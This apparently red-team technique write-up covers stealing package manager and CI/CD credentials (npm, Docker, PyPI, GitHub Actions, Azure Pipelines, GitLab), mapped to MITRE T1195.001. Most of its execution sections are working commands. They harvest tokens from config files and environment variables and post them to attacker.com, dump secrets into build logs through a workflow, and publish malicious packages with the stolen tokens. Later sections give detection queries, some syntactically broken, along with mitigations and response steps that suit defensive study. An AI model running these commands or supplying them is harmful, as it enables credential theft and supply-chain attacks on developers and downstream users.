MCADDF

[SUPPLY-CHAIN-004]: Package Manager Credential Theft

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-004
MITRE ATT&CK v18.1 Compromise Software Dependencies and Development Tools (T1195.001)
Tactic Credential Access / Exfiltration
Platforms Entra ID / DevOps (npm, Docker, Maven, NuGet, PyPI credentials)
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions: npm (all), PyPI (all), Maven Central (all), Docker Hub (all), NuGet (all)
Patched In N/A - credential theft attack
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS v1.4.0 – CDM-2.1 API keys and secrets must not be stored in plaintext. Use secret management systems (e.g., Azure Key Vault, HashiCorp Vault).
DISA STIG IA-4(a) – Identifier Management Access tokens and credentials must be protected from unauthorized disclosure.
CISA SCuBA SCUBA-SECRETS-01 Credentials must be stored securely and rotated at least every 90 days.
NIST 800-53 IA-2(1) – Authentication, MFA API tokens should be treated as equivalent to passwords and protected accordingly.
GDPR Art. 32 – Security of Processing Technical measures must protect credentials used to access data processing systems.
DORA Art. 10 – Testing of ICT Tools and Services Credentials for third-party services must be rotated and monitored regularly.
NIS2 Art. 21 – Access Control Critical infrastructure operators must protect credentials with encryption and MFA.
ISO 27001 A.9.4.3 – Password Management Credentials must be unique, complex, and rotated regularly.
ISO 27005 Risk: Unauthorized Access to Credentials Assess risks of credential compromise and implement detective/responsive controls.

2. TECHNICAL PREREQUISITES

Supported Versions:


3. ENVIRONMENTAL RECONNAISSANCE

Developer Machine Credential Enumeration

# List npm tokens and registries configured
cat ~/.npmrc 2>/dev/null
# OUTPUT: //registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxxxx

# List pip credentials
cat ~/.pypirc 2>/dev/null

# List Docker credentials (base64 encoded)
cat ~/.docker/config.json | jq '.auths' 2>/dev/null

# List Maven credentials
cat ~/.m2/settings.xml 2>/dev/null

# Check for credentials in environment variables
env | grep -i -E "token|secret|key|password|credential"

# Search Git history for accidentally committed credentials
git log -p | grep -i -E "api_key|token|password" | head -20

# Check shell history for credential commands
history | grep -E "npm login|docker login|pip config"

# Search for .env files containing secrets
find ~ -name ".env" -o -name ".env.local" -o -name "secrets.txt" 2>/dev/null | xargs cat

What to Look For:

CI/CD Environment Reconnaissance

# Check CI/CD environment variables (often set as secrets)
printenv | grep -i -E "token|secret|key|password"

# GitHub Actions: Check for hardcoded tokens in workflow logs
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/repos/{owner}/{repo}/actions/runs/{run-id}/logs" | \
  grep -E "npm_.*|ghp_.*|DOCKER_PASSWORD"

# Azure Pipelines: Check build logs for exposed tokens
az pipelines runs logs --organization "https://dev.azure.com/{org}" \
  --project "{project}" --id "{run-id}" | grep -i "token\|secret"

# GitLab CI: Check pipeline trace logs
curl -H "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.com/api/v4/projects/{project_id}/pipelines/{pipeline_id}/jobs/{job_id}/trace"

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Plaintext npm Token Harvesting from Developer Machine

Supported Versions: npm (all versions), Node.js (all)

Step 1: Identify Target Developer Machine with npm Credentials

Objective: Locate developer machines that have npm tokens stored locally.

Command (Via Malware/Trojan):

# Reconnaissance to find npm credentials
ls -la ~/.npmrc 2>/dev/null && echo "npm credentials found"

# Extract token
npm_token=$(grep "_authToken" ~/.npmrc 2>/dev/null | cut -d'=' -f2)

# Verify token is valid
curl -H "Authorization: Bearer $npm_token" https://registry.npmjs.org/whoami

# If valid, exfiltrate
echo $npm_token | curl -X POST -d @- https://attacker.com/collect-tokens

Expected Output (Success):

npm credentials found
{
  "username": "developer-account",
  "email": "dev@company.com"
}

What This Means:

Step 2: Extract Token from .npmrc (Often Plaintext)

Objective: Parse npm configuration file and extract authentication token.

Command:

# Read .npmrc file (usually plaintext or lightly obfuscated)
cat ~/.npmrc

# Expected format:
# //registry.npmjs.org/:_authToken=npm_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# @company:registry=https://artifactory.company.com/artifactory/api/npm/npm-release/
# //artifactory.company.com/artifactory/api/npm/npm-release/:_authToken=xxxxxxxxxx
# //artifactory.company.com/artifactory/api/npm/npm-release/:email=dev@company.com

# Extract all tokens
grep "_authToken" ~/.npmrc | cut -d'=' -f2

# If .npmrc is encrypted or obfuscated:
# npm doesn't encrypt tokens; they are stored in plaintext
# However, some tools may base64-encode them
cat ~/.npmrc | base64 -d

# Extract specific registry token
registry_token=$(grep -A 1 "@company:registry" ~/.npmrc | grep "_authToken" | cut -d'=' -f2)

OpSec & Evasion:

Step 3: Authenticate and Validate Token

Objective: Verify stolen token is valid and determine what repositories attacker can access.

Command:

# Authenticate with stolen npm token
npm set //registry.npmjs.org/:_authToken=${STOLEN_NPM_TOKEN}

# Check identity (verify token is valid)
npm whoami
# OUTPUT: legitimate-developer

# List packages this account owns or can publish to
npm access ls-packages
# OUTPUT:
# my-app ( read-write )
# popular-utility ( read-write )
# internal-lib ( read-write )

# Check token scope (what permissions it has)
npm token list 2>/dev/null

# Query npm API to enumerate public packages by this user
curl -s "https://registry.npmjs.org/-/user/org.couchdb.user:{username}" \
  -H "Authorization: Bearer ${STOLEN_NPM_TOKEN}" | jq '.packages'

Expected Output:

{
  "my-app": "read-write",
  "popular-utility": "read-write",
  "internal-lib": "read-write"
}

What This Means:


METHOD 2: Docker Credentials Harvesting from ~/.docker/config.json

Supported Versions: Docker (all versions), all Docker registries

Step 1: Extract Base64-Encoded Docker Registry Credentials

Objective: Parse Docker config.json and decode base64-encoded credentials.

Command:

# Read Docker config file
cat ~/.docker/config.json | jq '.auths'

# Example output:
# {
#   "https://index.docker.io/v1/": {
#     "auth": "dXNlcm5hbWU6cGFzc3dvcmQ="
#   },
#   "myregistry.azurecr.io": {
#     "auth": "dXNlcm5hbWU6cGFzc3dvcmQ=",
#     "email": "user@company.com"
#   }
# }

# Decode base64 credentials
auth_string=$(cat ~/.docker/config.json | jq -r '.auths["https://index.docker.io/v1/"].auth')
echo $auth_string | base64 -d
# OUTPUT: username:password

# Extract username and password separately
username=$(echo $auth_string | base64 -d | cut -d':' -f1)
password=$(echo $auth_string | base64 -d | cut -d':' -f2)

echo "Docker Hub Username: $username"
echo "Docker Hub Password: $password"

# Extract all registry credentials
cat ~/.docker/config.json | jq '.auths | to_entries[] | {registry: .key, username: (.value.auth | @base64d | split(":")[0]), password: (.value.auth | @base64d | split(":")[1])}'

Expected Output:

{
  "registry": "https://index.docker.io/v1/",
  "username": "legitimate-developer",
  "password": "actual-password-here"
}

What This Means:

Step 2: Authenticate to Docker Registry with Stolen Credentials

Objective: Verify stolen Docker credentials and enumerate accessible repositories.

Command:

# Authenticate to Docker Hub with stolen credentials
docker login -u $username -p $password

# Verify authentication
docker info | grep Username

# List repositories accessible to this account
curl -s "https://hub.docker.com/v2/users/{username}/repositories/" \
  -H "Authorization: Bearer $(docker inspect $(docker create $username/$(docker ps -aq | tail -1) true) --format='')" | \
  jq '.results[] | {name: .name, push_permission: .has_admin}'

# Alternative: enumerate via Docker API
docker ps -a --format "table " | while read image; do
  docker push $image  # Attempt push to verify access
done

OpSec & Evasion:


METHOD 3: CI/CD Environment Variable Credential Exfiltration

Supported Versions: GitHub Actions (all), Azure Pipelines (all), GitLab CI (all), Jenkins (all)

Step 1: Access CI/CD Environment Variables

Objective: Extract credentials from CI/CD build environment where secrets are injected.

Command (GitHub Actions):

# In a GitHub Actions workflow, all secrets are available as environment variables
env | grep -E "^[A-Z_]+_(TOKEN|PASSWORD|SECRET|KEY)="

# Exfiltrate via curl
curl -X POST https://attacker.com/webhook \
  -d "github_token=$GITHUB_TOKEN&npm_token=$NPM_TOKEN&docker_password=$DOCKER_PASSWORD"

# Or write to artifact (then download later)
env | grep TOKEN > /tmp/secrets.txt

Command (Azure Pipelines):

# Azure Pipelines makes secrets available as environment variables
env | grep -E "^SYSTEM_|^BUILD_|^RELEASE_"

# Special variable: SYSTEM_ACCESSTOKEN (very high privilege)
echo $SYSTEM_ACCESSTOKEN | curl -d @- https://attacker.com/webhook

# Extract task authentication token
echo $SYSTEM_TEAMFOUNDATIONCOLLECTIONURI

Command (GitLab CI):

# GitLab injects secrets as CI_ prefixed variables
env | grep ^CI_

# Extract job token
echo $CI_JOB_TOKEN | curl -d @- https://attacker.com/webhook

Expected Output (Exfiltrated Secrets):

GITHUB_TOKEN=ghu_xxxxxxxxxxxxxxxxxxx
NPM_TOKEN=npm_xxxxxxxxxxxxxxxxxxx
DOCKER_PASSWORD=mypassword123
SYSTEM_ACCESSTOKEN=xxxxxxxxxxxxxxxxxxxx

OpSec & Evasion:

Step 2: Use Exfiltrated Credentials for Malicious Publishing

Objective: Authenticate with stolen credentials and publish malicious packages.

Command:

# Use stolen npm token
npm set //registry.npmjs.org/:_authToken=${STOLEN_NPM_TOKEN}

# Create malicious package
mkdir malicious-package && cd malicious-package
npm init -y

# Add postinstall hook
jq '.scripts.postinstall = "node setup.js"' package.json > package.json.tmp
mv package.json.tmp package.json

# Increment version
npm version patch

# Publish (now using stolen credentials)
npm publish

METHOD 4: CI/CD Build Log Credential Extraction (Accidental Exposure)

Supported Versions: GitHub Actions (all), Azure Pipelines (all), GitLab CI (all)

Step 1: Trigger Build Job That Echoes Secrets to Logs

Objective: Cause CI/CD build to output secrets in logs via script echo or debugging.

Command (GitHub Actions Workflow):

name: Expose Secrets
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Debug Environment
        run: |
          echo "Debugging build environment..."
          env | sort  # Outputs all environment variables including secrets
          
      - name: Show token
        run: echo "Token: $"  # Outputs secret to log
        
      - name: List config
        run: |
          cat ~/.npmrc    # If file exists with credentials
          cat ~/.docker/config.json

Expected Output (In Build Logs):

GITHUB_TOKEN=ghu_xxxxxxxxxxxxxxxx
NPM_TOKEN=npm_xxxxxxxxxxxxxxxx
DOCKER_PASSWORD=mypassword

OpSec & Evasion:

Step 2: Download and Parse Build Logs

Objective: Retrieve build logs from CI/CD platform and extract credentials.

Command (GitHub):

# Download workflow logs
gh run download {run-id} --repo {owner}/{repo} --dir /tmp/logs

# Parse logs for secrets
grep -r "TOKEN\|PASSWORD\|SECRET\|KEY" /tmp/logs/ | \
  grep -oE "npm_[a-zA-Z0-9]+|ghp_[a-zA-Z0-9]+" > /tmp/stolen-tokens.txt

# For public repositories, logs are publicly accessible
curl -s "https://github.com/{owner}/{repo}/actions/runs/{run-id}/attempts/{attempt}/logs/{job-id}" | \
  grep -oE "npm_[a-zA-Z0-9]+" > /tmp/npm-tokens.txt

OpSec & Evasion:


5. SPLUNK DETECTION RULES

Rule 1: Detect Unusual Package Registry Authentication

Rule Configuration:

SPL Query:

index=npm_audit source="auth" OR source="login"
| where
  (source_ip NOT IN ("office-ip-range", "ci-server-ips") OR
   time_of_day < 6 OR time_of_day > 22)  /* Outside business hours or non-office IP */
  AND (user_agent CONTAINS "curl" OR user_agent CONTAINS "wget" OR user_agent CONTAINS "python")  /* Scripted authentication */
| stats count by username, source_ip, time_of_day
| where count > 3  /* Multiple authentications in short window */

What This Detects:


6. MICROSOFT SENTINEL DETECTION

Query 1: Detect Credential Exfiltration from CI/CD Logs

Rule Configuration:

KQL Query:

GithubAuditLog
| where TimeGenerated > ago(1m)
| where action == "workflows.completed_workflow_run"
| extend LogContent = tostring(log_content)
| where LogContent contains_cs ("npm_" OR "ghu_" OR "ghp_" OR "AKIA" OR "DOCKER_PASSWORD")  /* Credential patterns */
| project TimeGenerated, actor, repository, LogContent
| summarize CredentialExposures = count() by actor, repository
| where CredentialExposures > 0

What This Detects:


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Identify Compromised Credentials:
    # Check what credentials were potentially exposed
    npm token list
    docker info | grep "Username"
        
    # Check CI/CD audit logs for unusual activity
    gh run list --repo {owner}/{repo} --limit 100 | grep -i "publish\|unknown"
        
    # Check package registry for suspicious publishes
    npm view {package-name} time
    
  2. Revoke Credentials Immediately:
    # npm: revoke all tokens and regenerate
    npm token revoke {token-id}
    npm token create --read-only
        
    # Docker: generate new PAT and delete old
    docker logout
    # Manually generate new PAT in Docker Hub
    docker login --username {username}
        
    # GitHub: revoke compromised PAT
    gh auth revoke  # If using gh CLI
    curl -X DELETE \
      -H "Authorization: token $GITHUB_TOKEN" \
      https://api.github.com/authorizations/{authorization_id}
    
  3. Remediate Published Artifacts:
    # Unpublish malicious npm package
    npm unpublish {package-name}@{malicious-version} --force
        
    # Delete malicious Docker image
    docker image rm myregistry/myapp:malicious-tag
        
    # Contact registry admins to forcefully remove if attacker refuses
    
  4. Update All Systems:
    # Rotate credentials in all CI/CD systems
    # Update secrets in Azure Key Vault, GitHub Secrets, etc.
    # Redeploy applications with new credentials
    # Restart CI/CD agents to clear credential cache
    

Step Phase Technique Description
1 Reconnaissance [REC-CI-CD-001] Enumerate package manager configurations and stored credentials
2 Initial Access [IA-MALWARE-001] Deliver malware to developer machine or CI/CD agent
3 Current Step [SUPPLY-CHAIN-004] Package Manager Credential Theft - harvest npm, Docker, PyPI tokens
4 Lateral Movement [SUPPLY-CHAIN-003] Artifact Repository Poisoning - use stolen credentials to publish malicious packages
5 Persistence [PERSIST-003] Create backdoor service account with stolen credentials
6 Impact [SUPPLY-CHAIN-MASS-COMPROMISE] Poisoned packages distribute to downstream end-users

10. REAL-WORLD EXAMPLES

Example 1: Shai-Hulud Credential Theft Chain (August 2025)

Example 2: GhostAction - CI/CD Secrets Exfiltration (September 2025)

Example 3: Dependency Confusion Attack - npm Typosquatting (2021)